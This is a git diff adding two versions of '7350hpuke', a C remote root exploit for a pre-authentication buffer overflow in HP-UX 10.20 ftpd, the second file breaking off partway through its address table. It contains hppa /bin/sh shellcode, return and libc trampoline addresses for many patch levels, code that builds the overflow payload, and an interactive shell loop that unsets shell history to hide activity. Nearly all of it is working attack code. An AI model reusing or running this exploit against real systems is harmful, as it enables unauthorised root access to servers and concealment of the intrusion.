diff --git a/exploits/7350hpuke/backup/7350hpuke-0.2.1.c b/exploits/7350hpuke/backup/7350hpuke-0.2.1.c
new file mode 100644
index 0000000..b1c2c0c
--- /dev/null
+++ b/exploits/7350hpuke/backup/7350hpuke-0.2.1.c
@@ -0,0 +1,894 @@
1/* 7350hpuke - hppa/hpux ftpd remote root exploit
2 *
3 * TESO CONFIDENTIAL - SOURCE MATERIALS
4 *
5 * This is unpublished proprietary source code of TESO Security.
6 *
7 * The contents of these coded instructions, statements and computer
8 * programs may not be disclosed to third parties, copied or duplicated in
9 * any form, in whole or in part, without the prior written permission of
10 * TESO Security. This includes especially the Bugtraq mailing list, the
11 * www.hack.co.za website and any public exploit archive.
12 *
13 * The distribution restrictions cover the entire file, including this
14 * header notice. (This means, you are not allowed to reproduce the header).
15 *
16 * (C) COPYRIGHT TESO Security, 2002
17 * All Rights Reserved
18 *
19 *****************************************************************************
20 * 2002/02/10 -
21 *
22 * hints
23 *
24 * - to test for the vulnerability, just use "-l 1 -t 1" and see if the remote
25 * process dumps core (to /core)
26 * - the exploit is sensitive to what the local ip resolves to. only fqhn up
27 * to 17 characters will allow this exploitation method to work
28 * - for other versions of hpux, you need to find the correct trampoline
29 * address within the shared library quadrant (a disassembler is required)
30 * and the return address on the stack where your code lies. if you get
31 * a segfault when apparently everything else is correct, you are trying
32 * to return to the stack directly, without a proper space id.
33 *
34 * TODO: check with different libc version, maybe a bruteforce of the trampo
35 * address is necessary (most likely). also try to look for fixed (start
36 * of libc?) trampos.
37 */
38
39#define VERSION "0.2.1"
40
41#include <sys/types.h>
42#include <sys/time.h>
43#include <sys/socket.h>
44#include <netinet/in.h>
45#include <arpa/inet.h>
46#include <arpa/telnet.h>
47#include <netdb.h>
48#include <errno.h>
49#include <fcntl.h>
50#include <unistd.h>
51#include <stdio.h>
52#include <stdlib.h>
53#include <stdarg.h>
54#include <string.h>
55#include <time.h>
56
57
58#define INIT_CMD "unset HISTFILE;id;uname -a;\n"
59
60
61typedef struct {
62 char * desc; /* distribution */
63 char * banner; /* ftp banner part */
64 unsigned char * shellcode;
65 unsigned int shellcode_len;
66
67 unsigned int cpad; /* padding in the xp cmd */
68 unsigned long int retaddr1; /* return address to trampo */
69 unsigned long int retaddr2; /* return address to code */
70} tgt_type;
71
72
73typedef struct {
74 char * patchset;
75 unsigned long int trampo_addr;
76} trampo_type;
77
78
79/* shellcode
80 */
81
82unsigned char hppa_nop[] =
83 "\x0b\x39\x02\x99"; /* xor %r25,%r25,%r25 */
84
85/* hppa/hpux execve -sc
86 */
87unsigned char hppa_hpux_execve[] =
88 "\xeb\x5f\x1f\xfd\xb4\x16\x70\x76\xb7\x5a\x40\x3a"
89 "\x0f\xc0\x12\x88\x0f\xda\x12\x80\x0b\xc0\x02\x99"
90 "\x0b\x18\x02\x98\x22\xa0\x08\x01\xe6\xa0\xe0\x08"
91 "\x0f\x40\x12\x0e\x2f\x62\x69\x6e\x2f\x73\x68\x41";
92
93/* addresses of one of the standard inter-space stubs within the libc.
94 * jumps to [$sp - 0x18].
95 *
96 * 0xc0011000 is the base address of libc within the ftpd process,
97 * the relative offset it the address within libc (as IDA shows it)
98 *
99 * XXX: all trampos seem to be aligned on & 0xfffffff8 boundaries, and
100 * in a relative range 0x0000 to 0x0400. that makes a nice brute
101 * force attack in just 0x80 (= 128) tries. since every other
102 * address is fixed, its definatly a TODO
103 */
104trampo_type trampolines[] = {
105 { "HP-UX 10.20 default [1996/10/11]", 0xc0011000 + 0x00116c20 },
106/* XXX { "HP-UX 10.20 PHCO_8108 missing", 0x0 }, */
107 { "HP-UX 10.20 PHCO_8764 [1996/10/11]", 0xc0011000 + 0x00116fd8 },
108 { "HP-UX 10.20 PHCO_8979 [1996/12/10]", 0xc0011000 + 0x00116c48 },
109 { "HP-UX 10.20 PHCO_9577 [1997/01/13]", 0xc0011000 + 0x00116c48 },
110 { "HP-UX 10.20 PHCO_10027 [1997/02/18]", 0xc0011000 + 0x00116d58 },
111 { "HP-UX 10.20 PHCO_11004 [1997/05/15]", 0xc0011000 + 0x00116e58 },
112 { "HP-UX 10.20 PHCO_11315 [1997/06/12]", 0xc0011000 + 0x00116e08 },
113 { NULL, 0x0 },
114};
115
116/* i am not that sure that this method of exploitation will work on other
117 * hpux systems. the vulnerability is itself very weird. i see what fails
118 * where and how it goes wrong, but i am unable to see why. there is
119 * boundary checking prior to the overflow, its difficult to reproduce
120 * logically and generally "weird". i like it.
121 */
122tgt_type targets[] = {
123 { "DEBUG TARGET",
124 "DEBUG",
125 hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1,
126 25, 0x41414141, 0x42424242 },
127
128 /* real targets
129 */
130 { "HP-UX B.10.20 A - 1.7.212.1 default [1996/05/09 - 1997/01/26]",
131 "Version 1.7.212.1 Thu May 9 21:10:27 GMT 1996",
132 hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1,
133 25, 0xc0011000 + 0x00116c20, /* libc base + trampo */
134 0x7b03add0 },
135
136 { "HP-UX B.10.20 A - 1.7.212.1 PHNE_9785 [1997/01/26 - 1997/02/07] (mirrors: default)",
137 "Version 1.7.212.1 Mon Jan 13 23:52:32 GMT 1997",
138 hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1,
139 25, 0xc0011000 + 0x00116c20, /* libc base + trampo */
140 0x7b03add0 },
141
142 { "HP-UX B.10.20 A - 1.7.212.1 PHNE_10010 [1997/02/07 - 1998/04/28] (mirrors: default)",
143 "Version 1.7.212.1 Sat Feb 1 01:30:15 GMT 1997",
144 hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1,
145 25, 0xc0011000 + 0x00116c20, /* libc base + trampo */
146 0x7b03add0 },
147
148 { "HP-UX B.10.20 A - 1.7.212.2 PHNE_13597 [1998/04/28 - 1999/07/26] (mirrors: default)",
149 "Version 1.7.212.2 Tue Apr 21 12:14:46 GMT 1998",
150 hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1,
151 25, 0xc0011000 + 0x00116c20, /* libc base + trampo */
152 0x7b03add0 },
153
154 { "HP-UX B.10.20 A - 1.7.212.3 PHNE_17963 [1999/07/26 - 2000/09/22] (mirrors: default)",
155 "Version 1.7.212.3 Wed Jul 14 10:24:05 GMT 1999",
156 hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1,
157 25, 0xc0011000 + 0x00116c20, /* libc base + trampo */
158 0x7b03add0 },
159
160 { "HP-UX B.10.20 A - 1.7.212.4 PHNE_22057 [2000/09/22 - 2001/06/04] (mirrors: default)",
161 "Version 1.7.212.4 Tue Sep 12 04:33:08 GMT 2000",
162 hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1,
163 25, 0xc0011000 + 0x00116c20, /* libc base + trampo */
164 0x7b03add0 },
165
166 { "HP-UX B.10.20 A - 1.7.212.5 PHNE_23948 [2001/06/04 - now] (mirrors: default)",
167 "Version 1.7.212.5 Wed May 30 12:19:42 GMT 2001",
168 hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1,
169 25, 0xc0011000 + 0x00116c20, /* libc base + trampo */
170 0x7b03add0 },
171
172 { NULL, NULL, 0, 0, 0, 0 },
173};
174
175
176/* FTP related stuff
177 */
178char * dest = "127.0.0.1"; /* can be changed with -d */
179char * ftp_banner = NULL;
180int verbose = 0;
181
182
183/* FTP prototypes
184 */
185void ftp_escape (unsigned char *buf, unsigned long int buflen);
186void ftp_recv_until (int sock, char *buff, int len, char *begin);
187int ftp_login (char *host);
188
189
190/* main prototypes
191 */
192void usage (char *progname);
193void exploit (int fd, tgt_type *tgt);
194void shell (int sock);
195void hexdump (char *desc, unsigned char *data, unsigned int amount);
196
197void tgt_list (void);
198tgt_type * tgt_frombanner (unsigned char *banner);
199
200
201/* imported from network.c
202 */
203#define NET_CONNTIMEOUT 60
204#define NET_READTIMEOUT 20
205int net_conntimeout = NET_CONNTIMEOUT;
206
207unsigned long int net_resolve (char *host);
208int net_connect (struct sockaddr_in *cs, char *server,
209 unsigned short int port, int sec);
210void net_write (int fd, const char *str, ...);
211int net_rtimeout (int fd, int sec);
212int net_rlinet (int fd, char *buf, int bufsize, int sec);
213
214
215int debugmode = 0,
216 autolength = 0;
217
218
219void
220usage (char *progname)
221{
222 fprintf (stderr, "usage: %s [-h] [-v] [-D] <[-l <len>] | -a> [-t <num>] [-d host]\n",
223 progname);
224
225 fprintf (stderr,
226 "-h\tthis help\n"
227 "-v\tbe verbose (default: off, twice for greater effect)\n"
228 "-D\tDEBUG mode (waits for keypresses)\n"
229 "-l len\tresolved hostname length (of this host)\n"
230 "-a\ttry to automatically get the length\n"
231 "-t num\tchoose target (0 for list, try -v or -v -v)\n"
232 "-d dest\tIP address or fqhn to connect to "
233 "(default: 127.0.0.1)\n"
234 "\n");
235
236 exit (EXIT_FAILURE);
237}
238
239int resolv_len = -1;
240unsigned char * shellcode = NULL;
241unsigned long int shellcode_len = 0;
242
243
244int
245main (int argc, char *argv[])
246{
247 char c;
248 char * progname; /* = argv[0] */
249 int fd;
250
251 tgt_type * tgt = NULL;
252 int tgt_num = -1;
253
254 unsigned char rcvbuf[2048];
255
256
257 fprintf (stderr, "7350hpuke - hppa/hpux ftpd remote root "
258 "(version "VERSION")\n"
259 "team teso.\n\n");
260
261 progname = argv[0];
262 if (argc < 2)
263 usage (progname);
264
265
266 while ((c = getopt (argc, argv, "hvDl:at:d:")) != EOF) {
267 switch (c) {
268 case 'h':
269 usage (progname);
270 break;
271 case 'D':
272 debugmode = 1;
273 break;
274 case 'v':
275 verbose += 1;
276 break;
277 case 'l':
278 if (sscanf (optarg, "%u", &resolv_len) != 1)
279 usage (progname);
280 break;
281 case 'a':
282 autolength = 1;
283 break;
284 case 't':
285 if (sscanf (optarg, "%u", &tgt_num) != 1)
286 usage (progname);
287 break;
288 case 'd':
289 dest = optarg;
290 break;
291 default:
292 usage (progname);
293 break;
294 }
295 }
296
297 if (tgt_num == 0 ||
298 tgt_num >= (sizeof (targets) / sizeof (tgt_type)))
299 {
300 if (tgt_num != 0)
301 printf ("WARNING: target out of list. list:\n\n");
302
303 tgt_list ();
304
305 exit (EXIT_SUCCESS);
306 }
307
308 if (autolength == 0 && resolv_len == -1) {
309 fprintf (stderr, "resolv length parameter required, doh!\n");
310 exit (EXIT_FAILURE);
311 } else if (autolength == 0 && resolv_len > 17) {
312 fprintf (stderr, "resolv length too large, this exploitation "
313 "method only supports\nlength below or equal to 17 "
314 "chars\n");
315 exit (EXIT_FAILURE);
316 }
317
318 if (tgt == NULL)
319 tgt = &targets[tgt_num - 1];
320
321
322 printf ("# trying to connect to %s ...", dest);
323 fflush (stdout);
324
325 fd = ftp_login (dest);
326 if (fd <= 0) {
327 fprintf (stderr, "\n### failed to connect\n");
328 exit (EXIT_FAILURE);
329 }
330 printf (" connected.\n");
331
332 if (autolength == 1) {
333 struct sockaddr_in localaddr;
334 struct hostent * hep, he;
335 socklen_t size = sizeof (struct sockaddr_in);
336 int n, h_errno;
337 unsigned char h_buf[8192];
338
339 printf ("# resolving local ip to ...");
340 fflush (stdout);
341
342 if (getsockname (fd, (struct sockaddr *) &localaddr, &size) == -1) {
343 fprintf (stderr, "### failed to get local fqhn\n");
344 exit (EXIT_FAILURE);
345 }
346
347 n = gethostbyaddr_r ((char *) &localaddr.sin_addr,
348 sizeof (struct in_addr), AF_INET, &he, h_buf,
349 sizeof (h_buf), &hep, &h_errno);
350
351 if (hep == NULL) {
352 unsigned char * ipp =
353 (unsigned char *) &localaddr.sin_addr.s_addr;
354 unsigned char dbuf[64];
355
356 fprintf (stderr, "missed name, going for ip\n");
357 snprintf (dbuf, sizeof (dbuf), "%d.%d.%d.%d",
358 ipp[0], ipp[1], ipp[2], ipp[3]);
359 dbuf[sizeof (dbuf) - 1] = '\0';
360
361 printf ("# local host: %s\n", dbuf);
362 resolv_len = strlen (dbuf);
363 } else {
364 printf (" fqhn\n");
365 printf ("# local host: %s\n", he.h_name);
366 resolv_len = strlen (he.h_name);
367 }
368 }
369 printf ("# resolv_len = %d\n", resolv_len);
370
371 if (debugmode) {
372 printf ("### DEBUG: press enter\n");
373 getchar ();
374 }
375
376 printf ("# banner: %s", (ftp_banner == NULL) ? "???" :
377 ftp_banner);
378
379 if (shellcode == NULL) {
380 shellcode = tgt->shellcode;
381 shellcode_len = tgt->shellcode_len;
382 }
383
384
385 if (verbose >= 2) {
386 printf ("using %lu byte shellcode:\n", shellcode_len);
387
388 hexdump ("shellcode", shellcode, shellcode_len);
389 }
390
391 printf ("\n### TARGET: %s\n\n", tgt->desc);
392
393 /* real stuff starts from here
394 */
395 printf ("# 1. sending preparation commands\n");
396 net_write (fd, "SITE 73507350735073507350735073507350"
397 "735073507350735073507350\n");
398 ftp_recv_until (fd, rcvbuf, sizeof (rcvbuf), "500 ");
399 exploit (fd, tgt);
400
401 printf ("# trying to spawn shell\n");
402 printf ("##################################################"
403 "##########################\n");
404
405 write (fd, INIT_CMD, strlen (INIT_CMD));
406 shell (fd);
407
408 exit (EXIT_SUCCESS);
409}
410
411
412void
413exploit (int fd, tgt_type *tgt)
414{
415 int n,
416 padnop,
417 pad;
418 unsigned char * xpw;
419 unsigned char xpbuf[1024 + 256]; /* + NETSLOP ;-) */
420
421
422 memset (xpbuf, '\0', sizeof (xpbuf));
423
424 pad = 17 - resolv_len;
425 for (xpw = xpbuf, n = 0 ; pad > 0 ; --pad)
426 *xpw++ = "7350"[n++ % 4];
427
428 /* now the second return address (at %sp - 0x18) for thunking
429 */
430 *xpw++ = (tgt->retaddr2 & 0xff000000) >> 24;
431 *xpw++ = (tgt->retaddr2 & 0x00ff0000) >> 16;
432 *xpw++ = (tgt->retaddr2 & 0x0000ff00) >> 8;
433 *xpw++ = (tgt->retaddr2 & 0x000000ff);
434
435 /* directly after it, *tada*, the first return address to the space
436 * redirection stub
437 */
438 *xpw++ = (tgt->retaddr1 & 0xff000000) >> 24;
439 *xpw++ = (tgt->retaddr1 & 0x00ff0000) >> 16;
440 *xpw++ = (tgt->retaddr1 & 0x0000ff00) >> 8;
441 *xpw++ = (tgt->retaddr1 & 0x000000ff);
442
443
444 /* XXX: might be different on other binaries */
445 strcat (xpbuf, "A"); /* padding */
446 if (verbose)
447 printf ("n = strlen (xpbuf) = %d\n", strlen (xpbuf));
448
449 /* nopspace + shellcode
450 */
451 padnop = 990 + tgt->cpad - resolv_len - strlen (xpbuf);
452 padnop &= ~0x3; /* pad down to 4 byte boundary */
453
454 for (n = 0, xpw = xpbuf + strlen (xpbuf) ;
455 n < padnop ; ++n)
456 {
457 *xpw++ = hppa_nop[n % 4];
458 }
459 if (verbose)
460 printf ("n = %d, n %% 4 = %d\n", n, n % 4);
461
462 memcpy (xpw - tgt->shellcode_len - 8, tgt->shellcode, tgt->shellcode_len);
463 xpw += strlen (xpw);
464 printf ("strlen (xpbuf) = %d\n", strlen (xpbuf));
465
466 *xpw++ = '\n';
467
468 ftp_escape (xpbuf, sizeof (xpbuf));
469 net_write (fd, "%s", xpbuf);
470
471 return;
472}
473
474
475/* tgt_list
476 *
477 * give target list
478 */
479
480void
481tgt_list (void)
482{
483 int tgt_num;
484
485
486 printf ("num . description\n");
487 printf ("----+-----------------------------------------------"
488 "--------\n");
489
490 for (tgt_num = 0 ; targets[tgt_num].desc != NULL ; ++tgt_num) {
491 printf ("%3d | %s\n", tgt_num + 1, targets[tgt_num].desc);
492
493 if (verbose)
494 printf (" : %s\n", targets[tgt_num].banner);
495 if (verbose >= 2)
496 printf (" : retaddr1: 0x%08lx "
497 "retaddr2: 0x%08lx\n",
498 targets[tgt_num].retaddr1,
499 targets[tgt_num].retaddr2);
500 }
501 printf (" '\n");
502
503 return;
504}
505
506
507void
508shell (int sock)
509{
510 int l;
511 char buf[512];
512 fd_set rfds;
513
514
515 while (1) {
516 FD_SET (0, &rfds);
517 FD_SET (sock, &rfds);
518
519 select (sock + 1, &rfds, NULL, NULL, NULL);
520 if (FD_ISSET (0, &rfds)) {
521 l = read (0, buf, sizeof (buf));
522 if (l <= 0) {
523 perror ("read user");
524 exit (EXIT_FAILURE);
525 }
526 write (sock, buf, l);
527 }
528
529 if (FD_ISSET (sock, &rfds)) {
530 l = read (sock, buf, sizeof (buf));
531 if (l == 0) {
532 printf ("connection closed by foreign host.\n");
533 exit (EXIT_FAILURE);
534 } else if (l < 0) {
535 perror ("read remote");
536 exit (EXIT_FAILURE);
537 }
538 write (1, buf, l);
539 }
540 }
541}
542
543
544/*** FTP functions
545 */
546
547/* FTP is TELNET is SHIT.
548 */
549
550void
551ftp_escape (unsigned char *buf, unsigned long int buflen)
552{
553 unsigned char * obuf = buf;
554
555
556 for ( ; *buf != '\0' ; ++buf) {
557 if (*buf == 0xff &&
558 (((buf - obuf) + strlen (buf) + 1) < buflen))
559 {
560 memmove (buf + 1, buf, strlen (buf) + 1);
561 buf += 1;
562 }
563 }
564}
565
566
567void
568ftp_recv_until (int sock, char *buff, int len, char *begin)
569{
570 char dbuff[2048];
571
572
573 if (buff == NULL) {
574 buff = dbuff;
575 len = sizeof (dbuff);
576 }
577
578 do {
579 memset (buff, '\x00', len);
580 if (net_rlinet (sock, buff, len - 1, 20) <= 0)
581 return;
582 } while (memcmp (buff, begin, strlen (begin)) != 0);
583
584 return;
585}
586
587
588int
589ftp_login (char *host)
590{
591 int ftpsock;
592 char resp[512];
593
594
595 ftpsock = net_connect (NULL, host, 21, 30);
596 if (ftpsock <= 0)
597 return (0);
598
599 memset (resp, '\x00', sizeof (resp));
600 if (net_rlinet (ftpsock, resp, sizeof (resp) - 1, 20) <= 0)
601 goto flerr;
602
603 /* handle multiline pre-login stuff (rfc violation !)
604 */
605 if (memcmp (resp, "220-", 4) == 0)
606 ftp_recv_until (ftpsock, resp, sizeof (resp), "220 ");
607
608 if (memcmp (resp, "220 ", 4) != 0) {
609 if (verbose)
610 printf ("\n%s\n", resp);
611 goto flerr;
612 }
613 ftp_banner = strdup (resp);
614
615 /* do not login really, this is 100% pre-auth
616 */
617 return (ftpsock);
618
619flerr:
620 if (ftpsock > 0)
621 close (ftpsock);
622
623 return (0);
624}
625
626
627/* ripped from zodiac */
628void
629hexdump (char *desc, unsigned char *data, unsigned int amount)
630{
631 unsigned int dp, p; /* data pointer */
632 const char trans[] =
633 "................................ !\"#$%&'()*+,-./0123456789"
634 ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm"
635 "nopqrstuvwxyz{|}~...................................."
636 "....................................................."
637 "........................................";
638
639
640 printf ("/* %s, %u bytes */\n", desc, amount);
641
642 for (dp = 1; dp <= amount; dp++) {
643 fprintf (stderr, "%02x ", data[dp-1]);
644 if ((dp % 8) == 0)
645 fprintf (stderr, " ");
646 if ((dp % 16) == 0) {
647 fprintf (stderr, "| ");
648 p = dp;
649 for (dp -= 16; dp < p; dp++)
650 fprintf (stderr, "%c", trans[data[dp]]);
651 fflush (stderr);
652 fprintf (stderr, "\n");
653 }
654 fflush (stderr);
655 }
656 if ((amount % 16) != 0) {
657 p = dp = 16 - (amount % 16);
658 for (dp = p; dp > 0; dp--) {
659 fprintf (stderr, " ");
660 if (((dp % 8) == 0) && (p != 8))
661 fprintf (stderr, " ");
662 fflush (stderr);
663 }
664 fprintf (stderr, " | ");
665 for (dp = (amount - (16 - p)); dp < amount; dp++)
666 fprintf (stderr, "%c", trans[data[dp]]);
667 fflush (stderr);
668 }
669 fprintf (stderr, "\n");
670
671 return;
672}
673
674
675
676unsigned long int
677net_resolve (char *host)
678{
679 long i;
680 struct hostent *he;
681
682 i = inet_addr(host);
683 if (i == -1) {
684 he = gethostbyname(host);
685 if (he == NULL) {
686 return (0);
687 } else {
688 return (*(unsigned long *) he->h_addr);
689 }
690 }
691 return (i);
692}
693
694
695int
696net_connect (struct sockaddr_in *cs, char *server,
697 unsigned short int port, int sec)
698{
699 int n,
700 len,
701 error,
702 flags;
703 int fd;
704 struct timeval tv;
705 fd_set rset, wset;
706 struct sockaddr_in csa;
707
708 if (cs == NULL)
709 cs = &csa;
710
711 /* first allocate a socket */
712 cs->sin_family = AF_INET;
713 cs->sin_port = htons (port);
714 fd = socket (cs->sin_family, SOCK_STREAM, 0);
715 if (fd == -1)
716 return (-1);
717
718 if (!(cs->sin_addr.s_addr = net_resolve (server))) {
719 close (fd);
720 return (-1);
721 }
722
723 flags = fcntl (fd, F_GETFL, 0);
724 if (flags == -1) {
725 close (fd);
726 return (-1);
727 }
728 n = fcntl (fd, F_SETFL, flags | O_NONBLOCK);
729 if (n == -1) {
730 close (fd);
731 return (-1);
732 }
733
734 error = 0;
735
736 n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in));
737 if (n < 0) {
738 if (errno != EINPROGRESS) {
739 close (fd);
740 return (-1);
741 }
742 }
743 if (n == 0)
744 goto done;
745
746 FD_ZERO(&rset);
747 FD_ZERO(&wset);
748 FD_SET(fd, &rset);
749 FD_SET(fd, &wset);
750 tv.tv_sec = sec;
751 tv.tv_usec = 0;
752
753 n = select(fd + 1, &rset, &wset, NULL, &tv);
754 if (n == 0) {
755 close(fd);
756 errno = ETIMEDOUT;
757 return (-1);
758 }
759 if (n == -1)
760 return (-1);
761
762 if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) {
763 if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) {
764 len = sizeof(error);
765 if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) {
766 errno = ETIMEDOUT;
767 return (-1);
768 }
769 if (error == 0) {
770 goto done;
771 } else {
772 errno = error;
773 return (-1);
774 }
775 }
776 } else
777 return (-1);
778
779done:
780 n = fcntl(fd, F_SETFL, flags);
781 if (n == -1)
782 return (-1);
783 return (fd);
784}
785
786
787void
788net_write (int fd, const char *str, ...)
789{
790 char tmp[1025];
791 va_list vl;
792 int i;
793
794 va_start(vl, str);
795 memset(tmp, 0, sizeof(tmp));
796 i = vsnprintf(tmp, sizeof(tmp), str, vl);
797 va_end(vl);
798
799#ifdef DEBUG
800 printf ("[snd] %s%s", tmp, (tmp[strlen (tmp) - 1] == '\n') ? "" : "\n");
801#endif
802
803 send(fd, tmp, i, 0);
804 return;
805}
806
807
808int
809net_rlinet (int fd, char *buf, int bufsize, int sec)
810{
811 int n;
812 unsigned long int rb = 0;
813 struct timeval tv_start, tv_cur;
814
815 memset(buf, '\0', bufsize);
816 (void) gettimeofday(&tv_start, NULL);
817
818 do {
819 (void) gettimeofday(&tv_cur, NULL);
820 if (sec > 0) {
821 if ((((tv_cur.tv_sec * 1000000) + (tv_cur.tv_usec)) -
822 ((tv_start.tv_sec * 1000000) +
823 (tv_start.tv_usec))) > (sec * 1000000))
824 {
825 return (-1);
826 }
827 }
828 n = net_rtimeout(fd, NET_READTIMEOUT);
829 if (n <= 0) {
830 return (-1);
831 }
832 n = read(fd, buf, 1);
833 if (n <= 0) {
834 return (n);
835 }
836 rb++;
837 if (*buf == '\n')
838 return (rb);
839 buf++;
840 if (rb >= bufsize)
841 return (-2); /* buffer full */
842 } while (1);
843}
844
845
846int
847net_rtimeout (int fd, int sec)
848{
849 fd_set rset;
850 struct timeval tv;
851 int n, error, flags;
852
853
854 error = 0;
855 flags = fcntl(fd, F_GETFL, 0);
856 n = fcntl(fd, F_SETFL, flags | O_NONBLOCK);
857 if (n == -1)
858 return (-1);
859
860 FD_ZERO(&rset);
861 FD_SET(fd, &rset);
862 tv.tv_sec = sec;
863 tv.tv_usec = 0;
864
865 /* now we wait until more data is received then the tcp low level
866 * watermark, which should be setted to 1 in this case (1 is default)
867 */
868 n = select(fd + 1, &rset, NULL, NULL, &tv);
869 if (n == 0) {
870 n = fcntl(fd, F_SETFL, flags);
871 if (n == -1)
872 return (-1);
873 errno = ETIMEDOUT;
874 return (-1);
875 }
876 if (n == -1) {
877 return (-1);
878 }
879 /* socket readable ? */
880 if (FD_ISSET(fd, &rset)) {
881 n = fcntl(fd, F_SETFL, flags);
882 if (n == -1)
883 return (-1);
884 return (1);
885 } else {
886 n = fcntl(fd, F_SETFL, flags);
887 if (n == -1)
888 return (-1);
889 errno = ETIMEDOUT;
890 return (-1);
891 }
892}
893
894
diff --git a/exploits/7350hpuke/backup/7350hpuke-0.4.0.c b/exploits/7350hpuke/backup/7350hpuke-0.4.0.c
new file mode 100644
index 0000000..4f959b8
--- /dev/null
+++ b/exploits/7350hpuke/backup/7350hpuke-0.4.0.c
@@ -0,0 +1,1214 @@
1/* 7350hpuke - hppa/hpux ftpd remote root exploit
2 *
3 * TESO CONFIDENTIAL - SOURCE MATERIALS
4 *
5 * This is unpublished proprietary source code of TESO Security.
6 *
7 * The contents of these coded instructions, statements and computer
8 * programs may not be disclosed to third parties, copied or duplicated in
9 * any form, in whole or in part, without the prior written permission of
10 * TESO Security. This includes especially the Bugtraq mailing list, the
11 * www.hack.co.za website and any public exploit archive.
12 *
13 * The distribution restrictions cover the entire file, including this
14 * header notice. (This means, you are not allowed to reproduce the header).
15 *
16 * (C) COPYRIGHT TESO Security, 2002
17 * All Rights Reserved
18 *
19 *****************************************************************************
20 * 2002/02/10 -
21 *
22 * hints
23 *
24 * - to test for the vulnerability, just use "-l 1 -t 1" and see if the remote
25 * process dumps core (to /core)
26 * - the exploit is sensitive to what the local ip resolves to. only fqhn up
27 * to 17 characters will allow this exploitation method to work
28 */
29
30#define VERSION "0.4.0"
31
32#include <sys/types.h>
33#include <sys/time.h>
34#include <sys/socket.h>
35#include <netinet/in.h>
36#include <arpa/inet.h>
37#include <arpa/telnet.h>
38#include <netdb.h>
39#include <errno.h>
40#include <fcntl.h>
41#include <unistd.h>
42#include <stdio.h>
43#include <stdlib.h>
44#include <stdarg.h>
45#include <string.h>
46#include <time.h>
47
48
49#define INIT_CMD "unset HISTFILE;id;uname -a;\n"
50#define AUTO_CMD "echo \"sP\"\"sP\";\n"
51
52
53typedef struct {
54 char * desc; /* distribution */
55 char * banner; /* ftp banner part */
56 unsigned char * shellcode;
57 unsigned int shellcode_len;
58
59 unsigned int cpad; /* padding in the xp cmd */
60 unsigned long int codeaddr; /* return address to code */
61} tgt_type;
62
63
64typedef struct {
65 char * patchset;
66 unsigned long int addr;
67} trampo_type;
68
69
70typedef struct {
71 char * desc;
72 tgt_type * tgt;
73 trampo_type * tgt_trampo;
74 unsigned long int trampo_low; /* brute force boundaries */
75 unsigned long int trampo_high;
76} mtgt_type;
77
78/* shellcode
79 */
80
81unsigned char hppa_nop[] =
82 "\x0b\x39\x02\x99"; /* xor %r25,%r25,%r25 */
83
84/* 48 byte hppa/hpux pic execve -sc
85 */
86unsigned char hppa_hpux_execve[] =
87 "\xeb\x5f\x1f\xfd\xb4\x16\x70\x76\xb7\x5a\x40\x3a"
88 "\x0f\xc0\x12\x88\x0f\xda\x12\x80\x0b\xc0\x02\x99"
89 "\x0b\x18\x02\x98\x22\xa0\x08\x01\xe6\xa0\xe0\x08"
90 "\x0f\x40\x12\x0e\x2f\x62\x69\x6e\x2f\x73\x68\x41";
91
92/* addresses of one of the standard inter-space stubs within the libc.
93 * jumps to [$sp - 0x18].
94 *
95 * 0xc0011000 is the base address of libc within the ftpd process,
96 * the relative offset it the address within libc (as IDA shows it)
97 *
98 * XXX: all trampos seem to be aligned on & 0xfffffff8 boundaries, and
99 * in a relative range 0x0000 to 0x1000. that makes a nice brute
100 * force attack in less than circa 400 tries.
101 *
102 * this list does not make stuff exploitable the brute force mode would
103 * not catch, but it speeds things up for most cases.
104 */
105trampo_type hpux_1020_trampolines[] = {
106 { "HP-UX 10.20 default [1996/10/11]", 0xc0011000 + 0x00116c20 },
107/* XXX { "HP-UX 10.20 PHCO_8108 missing", 0x0 }, */
108 { "HP-UX 10.20 PHCO_8764 [1996/10/11]", 0xc0011000 + 0x00116fd8 },
109 { "HP-UX 10.20 PHCO_8979 [1996/12/10]", 0xc0011000 + 0x00116c48 },
110 { "HP-UX 10.20 PHCO_9577 [1997/01/13]", 0xc0011000 + 0x00116c48 },
111 { "HP-UX 10.20 PHCO_10027 [1997/02/18]", 0xc0011000 + 0x00116d58 },
112 { "HP-UX 10.20 PHCO_11004 [1997/05/15]", 0xc0011000 + 0x00116e58 },
113 { "HP-UX 10.20 PHCO_11315 [1997/06/12]", 0xc0011000 + 0x00116e08 },
114 { "HP-UX 10.20 PHCO_12128 [1997/08/22]", 0xc0011000 + 0x00116d40 },
115 { "HP-UX 10.20 PHCO_12448 [1997/09/12]", 0xc0011000 + 0x00116c20 },
116 { "HP-UX 10.20 PHCO_12673 [1997/10/02]", 0xc0011000 + 0x00116c50 },
117 { "HP-UX 10.20 PHCO_13029 [1997/11/10]", 0xc0011000 + 0x00116da8 },
118/* XXX { "HP-UX 10.20 PHCO_13189 missing", 0x0 }, */
119 { "HP-UX 10.20 PHCO_13282 [1997/12/05]", 0xc0011000 + 0x00116da8 },
120 { "HP-UX 10.20 PHCO_13399 [1997/12/05]", 0xc0011000 + 0x00116c48 },
121 { "HP-UX 10.20 PHCO_13626 [1998/01/02]", 0xc0011000 + 0x00116f50 },
122 { "HP-UX 10.20 PHCO_13775 [1998/03/27]", 0xc0011000 + 0x00116da0 },
123 { "HP-UX 10.20 PHCO_13777 [1998/02/05]", 0xc0011000 + 0x00116de0 },
124 { "HP-UX 10.20 PHCO_14199 [1998/02/17]", 0xc0011000 + 0x00116d08 },
125 { "HP-UX 10.20 PHCO_14511 [1998/03/20]", 0xc0011000 + 0x00116ce0 },
126 { "HP-UX 10.20 PHCO_14868 [1998/04/28]", 0xc0011000 + 0x00116d48 },
127 { "HP-UX 10.20 PHCO_14891 [1998/05/04]", 0xc0011000 + 0x00116d08 },
